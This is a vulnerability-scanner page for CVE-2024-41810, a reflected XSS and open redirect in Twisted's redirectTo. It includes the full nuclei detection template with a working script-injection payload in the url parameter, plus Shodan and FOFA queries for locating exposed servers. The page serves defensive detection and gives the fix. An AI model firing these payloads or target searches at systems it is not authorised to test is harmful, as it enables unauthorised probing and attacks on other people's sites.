Browse / CVEs / CVE-2024-41810
CVE-2024-41810
Twisted - Open Redirect & XSS
mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
69%of all CVEs are less likely
Readycheck to confirm it
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The Twisted web framework's redirectTo function is vulnerable to reflected XSS if an attacker can control the redirect URL. This template tests for an open redirect and XSS vulnerability in the URL parameter. This vulnerability is fixed in 24.7.0rc1.
Impact
Attackers can exploit open redirect and reflected XSS via the redirect URL parameter in the Twisted web framework.
Fix
Update Twisted to version 24.7.0rc1 or later.
How to confirm it
Send: GET /
Positive when: contains in response "TWISTED_SESSION" or "[\"Twisted"
Send: GET {{BaseURL}}?url=ws://example.com/"><script>alert(document.domain)</script>
Positive when: contains in response "Location: ws://example.com/\"><script>alert(document.domain)…" AND contains in header "text/html" AND status 302Run it with nuclei: nuclei -id CVE-2024-41810 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-41810
info:
name: Twisted - Open Redirect & XSS
author: KoYejune0302,cheoljun99,sim4110,gy741
severity: medium
description: |
Twisted is an event-based framework for internet applications, supporting Python 3.6+. The Twisted web framework's redirectTo function is vulnerable to reflected XSS if an attacker can control the redirect URL. This template tests for an open redirect and XSS vulnerability in the URL parameter. This vulnerability is fixed in 24.7.0rc1.
impact: |
Attackers can exploit open redirect and reflected XSS via the redirect URL parameter in the Twisted web framework.
remediation: |
Update Twisted to version 24.7.0rc1 or later.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-41810
epss-score: 0.01201
epss-percentile: 0.68454
cpe: cpe:2.3:a:twistedmatrix:twisted:*:*:*:*:*:*:*:*
reference:
- https://github.com/advisories/GHSA-cf56-g6w6-pqq2
- https://nvd.nist.gov/vuln/detail/CVE-2024-41810
metadata:
max-request: 2
shodan-query: html:'Twisted' html:"python"
fofa-query: body="twisted" && "python"
tags: xss,redirect,twisted,python,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
redirects: true
matchers:
- type: word
part: response
words:
- "TWISTED_SESSION"
- '["Twisted'
internal: true
- method: GET
path:
- '{{BaseURL}}?url=ws://example.com/"><script>alert(document.domain)</script>'
redirects: true
matchers-condition: and
matchers:
- type: word
part: response
words:
- 'Location: ws://example.com/"><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 302References
Use this check only on systems you are authorised to test. Where the data comes from